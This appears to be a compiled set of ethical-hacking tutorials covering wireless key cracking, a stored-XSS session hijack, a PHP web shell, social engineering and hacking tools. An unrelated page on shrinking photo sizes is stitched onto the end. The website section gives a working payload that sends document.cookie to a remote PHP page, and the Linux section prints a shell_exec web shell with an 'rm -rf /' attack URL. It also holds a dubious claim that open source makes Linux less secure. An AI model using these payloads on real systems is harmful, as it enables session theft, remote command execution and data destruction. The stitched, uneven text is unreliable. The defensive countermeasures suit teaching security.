How to hack wireless networks

Wireless networks are accessible to anyone within the router’s transmission radius. This makes them vulnerable to attacks. Hotspots are available in public places such as airports, restaurants, parks etc.

In this tutorial, we will introduce you to common techniques used toexploit weaknesses in wireless network security implementations. We will also look at some of the counter measures you can put in place to protect against such attacks.

What is a wireless network?

A wireless network is a network that uses radio waves to link computers and other devices together. The implementation is done at the layer 1 (physical layer) of the OSI model.

How to access a wireless network?

You will need a wireless network enabled device such as a laptop, tablet, smart phones etc. You will also need to be within the transmission radius of a wireless network access point. Most devices (if the wireless network option is turned on) will provide you with a list of available networks. If the network is not password protected, then you just have to click on connect. If it is password protected, then you will need the password to gain access.

Wireless Network Authentication

Since the network is easily accessible to everyone with a wireless network enabled device, most networks are password protected. Let’s look at some of the most commonly used authentication techniques.

WEP

WEP is the acronym for Wired Equivalent Privacy. It was developed for IEEE 802.11 WLAN standards. Its goal was to provide the privacy equivalent to that provided by wired networks. WEP works by encrypting the data been transmitted over the network to keep it safe from eavesdropping. 

WEP Authentication

Open System Authentication (OSA) – this methods grants access to station authentication requested based on the configured access policy.

Shared Key Authentication (SKA) – This method sends to an encrypted challenge to the station requesting access. The station encrypts the challenge with its key then responds. If the encrypted challenge matches the AP value, then access is granted.

WEP Weakness

WEP has significant design flaws and vulnerabilities.

The integrity of the packets is checked using Cyclic Redundancy Check (CRC32).CRC32 integrity check can be compromised by capturing at least two packets. The bits in the encrypted stream and the checksum can be modified by the attacker so that the packet is accepted by the authentication system. This leads to unauthorized access to the network.WEP uses RC4 encryption algorithm to create stream ciphers.The stream cipher input is made up of an initial value (IV) and a secret key. The length of theinitial value (IV) is 24 bits long while the secret key can either be 40 bits or 104 bits long. The total length of both the initial value and secret can either be 64 bits or 128 bits long.The lower possible value of the secret key makes it easy to crack it.Weak Initial values combinations do not encrypt sufficiently. This makes them vulnerable to attacks.WEP is based on passwords; this makes it vulnerable to dictionary attacks.Keys management is poorly implemented. Changing keys especially on large networks is challenging. WEP does not provide a centralized key management system.The Initial values can be reused

Because of these security flaws, WEP has been deprecated in favor of WPA

WPA

WPA is the acronym for Wi-Fi Protected Access. It is a security protocol developed by the Wi-Fi Alliance in response to the weaknesses found in WEP. It is used to encrypt data on 802.11 WLANs. It uses higher Initial Values 48 bits instead of the 24 bits that WEP uses.  It uses temporal keys to encrypt packets.

WPA Weaknesses

The collision avoidance implementation can be brokenIt is vulnerable to denial of service attacksPre-shares keys use passphrases.  Weak passphrases are vulnerable to dictionary attacks.

How to Crack Wireless Networks

WEP cracking

Cracking is the process of exploiting security weaknesses in wireless networks and gaining unauthorized access. WEP cracking refers to exploits on networks that use WEP to implement security controls. There are basically two types of cracks namely;

Passive cracking– this type of cracking has no effect on the network traffic until the WEP security has been cracked. It is difficult to detect.Active cracking– this type of attack has an increased load effect on the network traffic. It is easy to detect compared to passive cracking. It is more effective compared to passive cracking.

WEP Cracking Tools

Aircrack– network sniffer and WEP cracker. Can be downloaded from http://www.aircrack-ng.org/WEPCrack– this is an open source program for breaking 802.11 WEP secret keys.  It is an implementation of the FMS attack. http://wepcrack.sourceforge.net/Kismet- this can detector wireless networks both visible and hidden, sniffer packets and detect intrusions.http://www.kismetwireless.net/WebDecrypt– this tool uses active dictionary attacks to crack the WEP keys. It has its own key generator and implements packet filters. http://wepdecrypt.sourceforge.net/

WPA Cracking

WPA uses a 256 pre-shared key or passphrase for authentications. Short passphrases are vulnerable to dictionary attacks and other attacks that can be used to crack passwords. The following tools can be used to crack WPA keys.

CowPatty– this tool is used to crack pre-shared keys (PSK) using brute force attack.http://wirelessdefence.org/Contents/coWPAttyMain.htmCain & Abel– this tool can be used to decode capture files from other sniffing programs such as wireshark. The capture files may contain WEP or WPA-PSK encoded frames. http://www.oxid.it/cain.html

General Attack types

Sniffing– this involves intercepting packets as they are transmitted over a network. The captured data can then be decoded using tools such as Cain & Abel.Man in the Middle (MITM) Attack– this involves eavesdropping on a network and capturing sensitive information.Denial of Service Attack– the main intent of this attack is to deny legitimate users network resources.FataJack can be used to perform this type of attack. More on this in article

Cracking Wireless network WEP/WPA keys

It is possible to crack the WEP/WPA keys used to gain access to a wireless network. Doing so requires software and hardware resources, and patience. The success of such attacks can also depend on how active and inactive the users of the target network are.

We will provide you with basic information that can help you get started. Backtrack is a Linux based security operating system. It is developed on top of Ubuntu. Backtrack comes with a number of security tools. Backtrack can be used to gather information, assess vulnerabilities and perform exploits among other things.

Some of the popular tools that backtrack has includes;

MetasploitWiresharkAircrack-ngNMapOphcrack

Cracking wireless network keys requires patience and resources mentioned above. At a minimum, you will need the following tools

A wireless network adapter with the capability to inject packets (Hardware)

Backtrack Operating System. You can download it from here http://www.backtrack-linux.org/downloads/  (Software)Be within the target network’s radius. If the users of the target network are actively using and connecting to it, then your chances of cracking it will be significantly improved.Sufficient knowledge of Linux based operating systems and working knowledge of Aircrack and its various scripts.Patience, cracking the keys may take a bit of sometime depending on a number of factors some of which may be beyond your control. Factors beyond your control include users of the target network using it actively as you sniff data packets.

 

How to Secure wireless networks

In minimize wireless network attacks; an organization can adopt the following policies

Changing default passwordsthat come with the hardwareEnabling the authentication mechanismAccess to the network can be restrictedby allowing only registered MAC addresses.Use of strong WEP and WPA-PSK keys, a combination of symbols, number and characters reduces the chance of the keys been cracking using dictionary and brute force attacks.Intrusion detection systems (IDS),systems such as WIDZ can help; network scanning, association floods and Rogue APs. http://ostatic.com/widzFirewallsoftware can also help reduce unauthorized access.

 

Hacking Activity: Crack Wireless Password

In this practical scenario, we are going touse Cain and Abel to decode the stored wireless network passwords in windows. We will also provide useful information that can be used to crack the WEP and WPA keys of wireless networks.

Decoding Wireless network passwords stored in Windows

Download Cain & Abel from the link provided above.Open Cain and Abel

Ensure that the Decoders tab is selected then click on Wireless Passwords from the navigation menu on the left hand sideClick on the button with a plus sign

Assuming you have connected to a secured wireless network before, you will get results similar to the ones shown below

 

The decoder will show you the encryption type, SSID and the password that was used.

 

Summary

Wireless network transmission waves can be seen by outsiders, this possess many security risks.WEP is the acronym for Wired Equivalent Privacy. It has security flaws which make it easier to break compared to other security implementations.WPA is the acronym for Wi-Fi Protected Access. It has  security compared to WEPIntrusion Detection Systems can help detect unauthorized accessA good security policy can help protect a network.

How to hack a Website

More people have access to the internet than ever before. This has prompted many organizations to develop web based applications that users can use online to interact with the organization. Poorly written code for web applications can be exploited to gain unauthorized access to sensitive data and web servers.

In this article, we will introduce you to web applications hacking techniques and the counter measures you can put in place to protect against such attacks.

What is a web application? What are Web Threats?

A web application (aka website) is an application based on the client-server model. The server provides the database access and the business logic. It is hosted on a web server. The client application runs on the client web browser. Web applications are usually written in languages such as Java, C# and VB.Net, PHP, ColdFusion Markup Language etc. the database engines used in web applications include MySQL, MS SQL Server, PostgreSQL, SQLite etc.

Most web applications are hosted on public servers accessible via the internet. This makes them vulnerable to attacks due to easy accessibility. The following are common web application threats.

SQL Injection – the goal of this threat could be to bypass login algorithms, sabotage the data etc.Denial of Service Attacks– the goal of this threat could be to deny legitimate users access to the resourceCross Site Scripting XSS– the goal of this threat could be to inject code that can be executed on the client side browser.Cookie/Session Poisoning– the goal of this threat is to modify cookies/session data by an attacker to gain unauthorized access.Form tempering– the goal of this threat is to modify form data such as prices in e-commerce applications so that the attacker can get items at reduced prices.Code Injection – the goal of this threat is to inject code such as PHP, python etc that can be executed on the server. The code can install backdoors, reveal sensitive information etc.Defacement– the goal of this threat is to modify the page been displayed on a website and redirecting all page requests to a single page that contains the attacker’s message.

How to protect your Website against hacks ?

An organization can adopt the following policy to protect itself against web server attacks.

SQL Injection– sanitizing and validating user parameters before submitting them to the database for processing can help reduce the chances of been attacked via SQL Injection. Database engines such as MS SQL Server, MySQL etc support parameters and prepared statements. They are much safer than traditional SQL statementsDenial of Service Attacks – firewalls can be used to drop traffic from suspicious IP address if the attack is a simple DoS. Proper configuration of networks and Intrusion Detection System can also help reduce the chances of a DoS attack been successful.Cross Site Scripting – validating and sanitizing headers, parameters passed via the URL, form parameters and hidden values can help reduce XSS attacks.Cookie/Session Poisoning– this can be prevented by encrypting the contents of the cookies, timing out the cookies after some time, associating the cookies with the client IP address that was used to create them.Form tempering – this can be prevented by validating and verifying the user input before processing it.Code Injection - this can be prevented by treating all parameters as data rather than executable code. Sanitization and validation can be used to implement this.Defacement – a good web application development security policy should ensure that it seals the commonly used vulnerabilities to access the web server. This can be proper configuration of the operating system, web server software and best security practices when developing web applications.

Hacking Activity: Hack a Website

In this practical scenario, we are going to hijack the user session of the web application located atwww.techpanda.org. We will use cross site scripting to read the cookie session id then use it to impersonate a legitimate user session.

The assumption made is that the attacker has access to the web application and he would like to hijack the sessions of other users that use the same application. The goal of this attack could be to gain admin access to the web application assuming the attacker’s access account is a limited one.

Getting started

Open http://www.techpanda.org/For practice purposes, it is strongly recommended to gain access using SQL Injection. Refer to this article for more information on how to do that.The login email is admin@google.com, the password is Password2010If you have logged in successfully, then you will get the following dashboard

Click on Add New ContactEnter the following as the first name

<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>

HERE,

The above code uses JavaScript. It adds a hyperlink with an onclick event. When the unsuspecting user clicks the link, the event retrieves the PHP cookie session ID and sends it to the snatch_sess_id.php page together with the session id in the URL

Enter the remaining details as shown belowClick on Save Changes

 

Your dashboard will now look like the following screen

Since the cross site script code is stored in the database, it will be loaded everytime the users with access rights loginLet’s suppose the administrator logins and clicks on the hyperlink that says DarkHe/she will get the window with the session id showing in the URL

Note: the script could be sending the value to some remote server where the PHPSESSID is stored then the user redirected back to the website as if nothing happened.

The PHPSESSID is board and it is the part that we are interested in.

Note: the value you get may be different from the one in this tutorial but the concept is the same

Session Impersonation using Firefox and Tamper Data add-on

The flowchart below shows the steps that you must take in order to successfully complete this exercise.

You will need Firefox web browser for this section and Tamper Data add-onOpen Firefox and install the add as shown in the diagrams below

Search for tamper data then click on install as shown above

Click on Accept and Install…

Click on Restart now when the installation completesEnable the menu bar in Firefox if it is not shown

Click on tools menu then select Tamper Data as shown below

You will get the following window.  Note: If the windows is not empty, hit the clear button

Click on Start Tamper menuSwitch back to Firefox web browser, type http://www.techpanda.org/dashboard.php then press the enter key to load the pageYou will get the following pop up from Tamper Data

The pop up window has three (3) options. The Tamper option allows you to modify the HTTP header information before it is submitted to the server.Click on itYou will get the following window

Copy the PHP session ID you copied from the attack URL and paste it after the equal sign. Your value should now look like this

PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2

Click on OK buttonYou will get the Tamper data popup window again

Uncheck the checkbox that asks Continue Tampering?Click on submit button when doneYou should be able to see the dashboard as shown below

Note: we did not login, we impersonated a login session using the PHPSESSID value we retrieved using cross site scripting

 

Summary

A web application is based on the server-client model. The client side uses the web browser to access the resources on the server.Web applications are usually accessible over the internet. This makes them vulnerable to attacks.Web application threats include SQL injection, Code Injection, XSS, Defacement, Cookie poisoning etc.A good security policy when developing web applications can help make them secure.

Hacking Linux Systems

Linux is the most widely used server operating system especially for web servers. It is open source; this means anybody can have access to the source code. This makes it less secure compared to other operating systems as attackers can study the source code to find vulnerabilities. Linux Hacking is about exploiting these vulnerabilities to gain unauthorized access to a system.

In this article, we will introduce you towhat Linux is, its security vulnerabilities and the counter measures you can put in place.

Quick Note on  Linux

Linux is an open source operating system. There are many distributions of Linux based operating systems such as Redhat, Fedora, and Ubuntu etc. Unlike other operating system, Linux is less secure when it comes to security. This is because the source code is available freely so it is easy to study it for vulnerabilities and exploit them compared to other operating systems that are not open source. Linux can be used as a server, desktop, tablet, or mobile device operating system.

Linux programs can be operated using either GUI or commands. The commands are more effective and efficient compared to using the GUI. For this reason, it helps to know Linux basic commands.

Linux Hacking Tools

Nessus– this tool can be used to scan configuration settings, patches, and networks etc. it can be found athttp://www.tenable.com/products/nessusNMap. This tool can be used to monitor hosts that are running on the server and the services that they are utilizing. It can also be used to scan for ports. It can be found at http://nmap.org/SARA – SARA is the acronym for Security Auditor’s Research Assistant. As the name implies, this tool can be used to audit networks against threats such as sql Injection, XSS etc. it can be found at http://www-arc.com/sara/sara.html

The above list is not exhaustive; it gives you an idea of the tools available for hacking Linux systems.

How to prevent  Linux hacks

Linux Hacking takes advantage of the vulnerabilities in the operating system. An organization can adopt the following policy to protect itself against such attacks.

Patch management– patches fix bugs that attackers exploit to compromise a system. A good patch management policy will ensure that you constantly apply relevant patches to your system.Proper OS configuration– other exploits take advantage of the weaknesses in the configuration of the server. Inactive user names and daemons should be disabled. Default settings such as common passwords to application, default user names and some port numbers should be changed.Intrusion Detection System– such tools can be used to detect unauthorized access to the system. Some tools have the ability to detect and prevent such attacks.

Hacking Activity: Hack a Linux system using PHP

In this practical scenario, we will provide you with basic information on how you can use PHP to compromise a Linux. We are not going to target any victim. If you want to try it out, you can install LAMPP on your local machine.

PHP comes with two functions that can be used to execute Linux commands. It has exec() and shell_exec() functions. The function exec() returns the last line of the command output while the shell_exec() returns the whole result of the command as string.

For demonstration purposes, let’s assume the attacker managers to upload the following file on a web server.

?

1

2

3

4

5

6

7

8

9

10

11

<?php

 

$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l';

 

echo "executing shell command:-> $cmd</br>";

 

$output = shell_exec($cmd);

 

echo "<pre>$output</pre>";

 

?>

HERE,

The above script gets the command from the GET variable named cmd. The command is executed using shell_exec() and the results returned in the browser.

The above code can be exploited using the following URL

http://localhost/cp/konsole.php?cmd=ls%20-l

HERE,

“…konsole.php?cmd=ls%20-l”assigns the value ls –l to the variable cmd.

The command executed against the server will be

shell_exec('ls -l') ;

Executing the above code on a web server gives results similar to the following.

The above command simply displays the files in the current directory and the permissions

Let’s suppose the attacker passes the following command

rm -rf /

HERE,

“rm” removes the files“rf” makes the rm command run in a recursive mode. Deleting all the folders and files“/” instructs the command to start deleting files from the root directory

The attack URL would look something like this

http://localhost/cp/konsole.php?cmd=rm%20-rf%20/

Summary

Linux is a popular operating system for servers, desktops, tablets and mobile devices.Linux is open source and the source code can be obtained by anyone. This makes it easy to spot the vulnerabilities.Basic and networking commands are valuable to Linux hackers.Vulnerabilities are weakness that can be exploited to compromise a system.A good security can help to protect a system from been compromised by an attacker.

How to hack using Social Engineering

The human mind is not immune from ]hacking. Social engineering is the art of tricking users into performing certain harmful activities or revealing confidential information to attackers. Knowing the tricks used by hackers to trick users into releasing vital login information among others is fundamental in protecting computer systems

In this article, we will introduce you to the common social engineering techniques and how you can come up with security measures to counter them.

What is social engineering?

Social engineering is the art of manipulating users of a computing system into revealing confidential information that can be used to gain un-authorized access to a computer system. The term can also include activities such as exploiting human kindness, greed and curiosity to gain access to restricted access buildings or getting the users to installing backdoor software.

HERE,

Gather Information: This is the first stage, the learns as much as he can about the intended victiom. The information is gathered from company web sites, other publications and sometimes by talking to the users of the target system.Plan Attack: The attackers outline how he/she intends to execute the attackAcquire Tools: These include computer programs that an attacker will use when launching the attack.Attack: Exploit the weaknesses in the target system.Use acquired knowledge: Information gathered during the social engineering tactics such as pet names, birthdates of the organization founders etc is used in attacks such as password guessing.

 

Common Social Engineering Techniques:

Social engineering techniques can take many forms. The following is the list of the commonly used techniques.

Familiarity Exploit: Users are less suspicious of people they are familiar with. An attacker can familiarize him/herself with the users of the target system prior to the social engineering attack. The attacker may interact with users during meals, when users are smoking he may join, on social events etc. This makes the attacker familiar to the users. Let’s suppose that the user works into a building that requires an access code or card to gain access, the attacker may follow the users as they enter such places. The users are most like to hold the door open for the attacker to go in as they are familiar with them. The attacker can also ask for answers to questions such as where you met your spouse, the name of your high school math teacher etc. The users are most likely to reveal answers as they trust the familiar face. This information could be used to hack email accounts and other accounts that ask similar questions if one forgets their password.Intimidating Circumstances: People tend to avoid people who intimidate others around them. Using this technique, the attacker may pretend to have a heated argument on phone or with an accomplice in the scheme. The attacker may then ask users for information which would be used to compromise the security of the users’ system. The users are most likely give the correct answers just to avoid having a confrontation with the attacker. This technique can also be used to avoid been checked at a security check point.Phishing: This technique uses trickery and deceit to obtain private data from users. The social engineer may try to impersonate a genuine website such as yahoo and then ask the unsuspecting user to confirm their account name and password. This technique could also be used to get credit card information or any other valuable personal data.Tailgating: This technique involves following users behind as they enter restricted areas. As a human courtesy, the user is most likely to let the social engineer inside the restricted area.Exploiting human curiosity: Using this technique, the social engineer may deliberately drop a virus infected flash disk in an area where the users can easily pick it up. The user will most likely plug the flash disk into the computer. The flash disk may auto run the virus or the user may be tempted to open a file with a name such as Employees Revaluation Report 2013.docx which may actually be an infected file.Exploiting human greed: Using this technique, the social engineer may lure the user with promises of making a lot of money online by filling in a form and confirm their details using credit card details etc.

Social Engineering Counter Measures

Most techniques employed by social engineers involve manipulating human biases. To counter such techniques, an organization can;

To counter the familiarity exploit, the users must be trained to not substitute familiarity with security measures. Even the people that they are familiar with must prove that they have the authorization to access certain areas and information.To counter intimidating circumstances attacks, users must be trained to identify social engineering techniques that fish for sensitive information and politely say no.To counterphishing techniques, most sites such as yahoo use secure connections to encrypt data and prove that they are who they claim to be. Checking the URL may help you spot fake sites. Avoid responding to emails that request you to provide personal information.To counter tailgating attacks, users must be trained not to let others use their security clearance to gain access to restricted areas. Each user must use their own access clearance. To counter human curiosity, it’s better to submit picked up flash disks to system administrators who should scan them for viruses or other infection preferably on an isolated machine.To counter techniques that exploit human greed, employees must be trained on the dangers of falling for such scams.

Summary

Social engineering is the art of exploiting the human elements to gain access to un-authorized resources.Social engineers use a number of techniques to fool the users into revealing sensitive information.Organizations must have security policies that have social engineering counter measures.

Learn everything about ethical hacking tools and skills

Skills allow you to achieve your desired goals within the available time and resources. As a hacker, you will need to develop skills that will help you get the job done. These skills include learning how to program, use the internet, good at solving problems, and taking advantage of existing security tools.

In this article, we will introduce you to the common programming languages and skills that you must know as a hacker. We will also look at tools that you can use to identify and exploit security weaknesses in computer systems.

What is a programming language?

A programming language is a language that is used to develop computer programs. The programs developed can range from operating systems; data based applications through to networking solutions.  

Why you should learn how to program?

Hackers are problem solver and tool builders, learning how to program will help you implement solutions to problems. It also differentiates you from script kiddies.Writing programs as a hacker, will help you to automat many taskswhich would usually take lots of time to complete.Writing programs can also help you identify and exploit programming errors in applicationsthat you will be targeting.You don’t have to reinvent the wheel all the time, there are a number of open source programs that are readily usable. You can customize the already existing applications and adding your own methods to suit your needs.

What languages should I learn?

The answer to this question depends on your target computer systems and platforms. Some programming languages are used to develop for only specific platforms. As an example, Visual Basic Classic (3, 4, 5, and 6.0) is used to write applications that run on windows operating system. It would therefore be illogical for you to learn how to program in Visual Basic 6.0 when your target is hacking Linux based systems.

Programming languages that are useful to hackers

SR NO.

COMPUTER

LANGUAGES

DESCRIPTION

PLATFORM

PURPOSE

1

HTML

Language used to write web pages.

*Cross platform

Web hacking

Login forms and other data entry methods on the web use HTML forms to get data. Been able to write and interpret HTML, makes it easy for you to identify and exploit weaknesses in the code.

2

JavaScript

Client side scripting language

*Cross platform

Web Hacking

JavaScript code is executed on the client browse. You can use it to read saved cookies and perform cross site scripting etc.

3

PHP

Server side scripting language

*Cross platform

Web Hacking

PHP is one of the most used web programming languages. It is used to process HTML forms and perform other custom tasks. You could write a custom application in PHP that modifies settings on a web server and makes the server vulnerable to attacks.

4

SQL

Language used to communicate with database

*Cross platform

Web Hacking

Using SQL injection, to by-pass web application login algorithms that are weak, delete data from the database etc.

5

Python

Ruby

Bash

Perl

High level programming languages

*Cross platform

Building tools & scripts

They come in handy when you need to develop automation tools and scripts. The knowledge gained can also be used in understand and customization the already available tools.

6

C & C++

High level programming

*Cross platform

Writing exploits, shell codes etc.

They come in handy when you need to write your own shell codes, exploits, root kits or understanding and expanding on existing ones.

 

7

Java

CSharp

Visual Basic

VBScript

Other languages

Java & CSharp are *cross platform. Visual Basic is specific to windows

Other uses

The usefulness of these languages depends on your scenario.

* Cross platform means programs developed using the particular language can be deployed on different operating systems such as Windows, Linuxed based, MAC etc.

Other skills

In addition to programming skills, a good hacker should also have the following skills:

Know how to use the internet and search engines effectivelyto gather information.Get a Linux based operating system and the know the basics commands that every Linux user should know.Practicemakes perfect, a good hacker should be hard working and positively contribute to the hacker community. He/she can contribute by developing open source programs, answering questions in hacking forums etc.

What are hacking tools?

They are computer programs and scripts that helps you find and exploit weaknesses in computer systems. Some of these tools are open source while others are commercial.

Commonly Used Hacking Tools

The following table lists some of the most commonly used tools.

SR NO.

TOOLS

DESCRIPTION

URL Link

1

 Nmap

 

Network mapper. This tool is used to explore networks and perform security audits.

 

http://nmap.org/

2

 Nessus

 

This tool can be used to perform;

Remote vulnerability scannerPassword dictionary attacksDenial of service attacks.

 

It is closed source, cross platform and free for personal use.

 

http://www.tenable.com/products/nessus

 

3

John The Ripper

 

Password cracking utility. It is cross platform.

http://www.openwall.com/john/

4

Cain & Abel

 

Microsoft Operating System passwords recovery tool. It is used to;

 

Recover MS Access passwordsUncover password fieldSniffing networksCracking encrypted passwords using dictionary attacks, brute-force and cryptanalysis attacks.

Visit their URL for more details

http://www.oxid.it/cain.html

5

NetStumbler

Used to detect wireless networks on the windows platform. It can be used for the following tasks;

Verifying network configurationsFinding locations with poor coverage in a WLANDetecting causes of wireless interferenceDetecting unauthorized ("rogue") access pointsAiming directional antennas for long-haul WLAN links

 

http://www.stumbler.net/

6

SQLMap

Automates the process of detecting and exploiting SQL Injection weaknesses. It is open source and cross platform. It supports the following database engines.

MySQLOraclePostgre SQLMS SQL ServerMS AccessIBM DB2SQLiteFirebirdSybase and SAP MaxDB

 

It supports the following SQL Injection Techniques;

Boolean-based blindTime-based blindError-basedUNION queryStacked queries and out-of-band.

Visit their URL for more details

 

http://sqlmap.org/

 

Summary

Programming skills are essential to become an effective hacker.Network skills are essential to become an effective hackerSQL skills are essential to become an effective hacker.Hacking tools are programs that simplify the process of identifying and exploiting weaknesses in computer systems.

What is hacking?

What is hacking?

There are many definitions of hacking. In this article, we will define hacking as identifying weakness in computer systems and/or networks and exploiting the weaknesses to gain access. An example of hacking is using by passing the login algorithm to gain access to a system. A hacker is a person who finds and exploits weakness in computer systems and/or networks to gain access. Hackers are usually skilled computer programmers with knowledge of computer security.

 Before we go any further, let’s look at some of the most commonly used terminologies in the world of hacking.

 

Types of Hackers

Hackers are classified according to the intent of their actions. The following list classifies hackers according to their intent.

Ethical Hacker (White hat):A hacker who gains access to systems with a view to fix the identified weaknesses. They may also perform penetration testing and vulnerability assessments.

Cracker (Black hat):A hacker who gains unauthorized access to computer systems for personal gain. The intent is usually to steal corporate data, violate privacy rights, transfer funds from bank accounts etc.

Grey hat:A hacker who is in between ethical and black hat hackers. He/she breaks into computer systems without authority with a view to identify weaknesses and reveal them to the system owner.

Script kiddies:A non-skilled person who gains access to computer systems using already made tools.

Hacktivist:A hacker who use hacking to send social, religious, and political etc. messages. This is usually done by hijacking websites and leaving the message on the hijacked website.

Phreaker:A hacker who identifies and exploits weaknesses in telephones instead of computers.

What is Cybercrime?

Cybercrime is the use of computers and networks to perform illegal activities such as spreading computer viruses, online bullying, performing unauthorized electronic fund transfers etc.  Most cybercrimes are committed through the internet. Some cybercrimes can also be carried out using phones via SMS and online chatting applications.

Type of Cybercrime

The following list presents the common types of cybercrimes:Computer fraud:Intentional deception for personal gain via the use of computer systems.Privacy violation:Exposing personal information such as email addresses, phone number, account details etc. on  social media, websites etc.Identity Theft:Stealing personal information from somebody and impersonating that person.Sharing copyrighted files/information:This involves distributing copyright protected files such as eBooks and computer programs etc.Electronic funds transfer:This involves gaining an un-authorized access to bank computer networks and making illegal fund transfers.Electronic money laundering:This involves the use of computer to launder money.ATM Fraud:This involves intercepting ATM card details such as account number and PIN numbers. These details are then used to withdraw funds from the intercepted accounts.Denial of Service Attacks:This involves the use of computers in multiple locations to attack servers with a view of shutting them down.Spam:Sending unauthorized emails. These emails usually contain advertisements.

 

What is ethical hacking?

Ethical hacking is identifying weakness in computer systems and/or computer networks and coming with counter measures that protect the weaknesses. Ethical hackers must abide by the following rules.

Get written permission from the owner of the computer system and/or computer network before hacking.Protect the privacy of the organization been hacked.Transparently report all the identified weaknesses in the computer system to the organization.Inform hardware and software vendors of the identified weaknesses.

Why ethical hacking?

Information is one of the most valuable assets of an organization. Keeping information secure can protect an organization’s image and save an organization a lot of money.Hacking can lead to loss of business for organizations that deal in finance such as PayPal. Ethical hacking puts them a step ahead of the cyber criminals who would otherwise lead to loss of business.

Summary

Hacking is identifying and exploiting weaknesses in computer systems and/or computer networks.Cybercrime is committing crime with the aid of computers and information technology infrastructure.Ethical hacking is about improving the security of computer systems and/or computer networks.Ethical hacking is legal.

 

How to Reduce Photo Size Less than 20 KB / 10 kb / 100 KB Online

Most of us want to reduce size of images stored in our computers either to save space or to post them online. Sometimes we need it while applying for some job / recruitment and need a scanned photo
( size below 20 KB / 12 KB / 10 KB ) to upload on the official site. If the photo is above the specified limit it may be rejected. Advanced users know how to reduce image size by using iamge editing tools. But novice users find it dificult.

How to Reduce Photo Size Less than 20 KB

Here we are providing a simple tool that will help you to reduce the image size online. Using it you can change the photo to a specified dimension and also check its preview. Reducing the image size has never been so easy. If you find this tool helpful then you are most welcome to comment on this article.


Reducing the image size is not an easy task for those who don't know much about image editing. But its an easy task using this image size reducer tool. Reducing the image size is now a kids play. Just upload the file that you want to reduce and its smaller version (with reduced size) in seconds. Just download that reduced size image and use it where ever you want.
Till now i have received various comments who have found this image size reducing applet useful. You can recommend it to your those friends who don't have sufficient knowledge of image editing and they will never ask you again how to reduce image size.

You can reduce the image size by using a Windows Paint. But its not as perfect as the tool provided above. If you want to know how to use MS Paint to reduce image size then visit the following page.
How to Reduce Image Size using Paint : Read More 

People find this page while Searching for :

• how to reduce photo size below 12 kb 
• how to reduce image size below 10 kb
• decrease size of photo
• Photo size reducing tool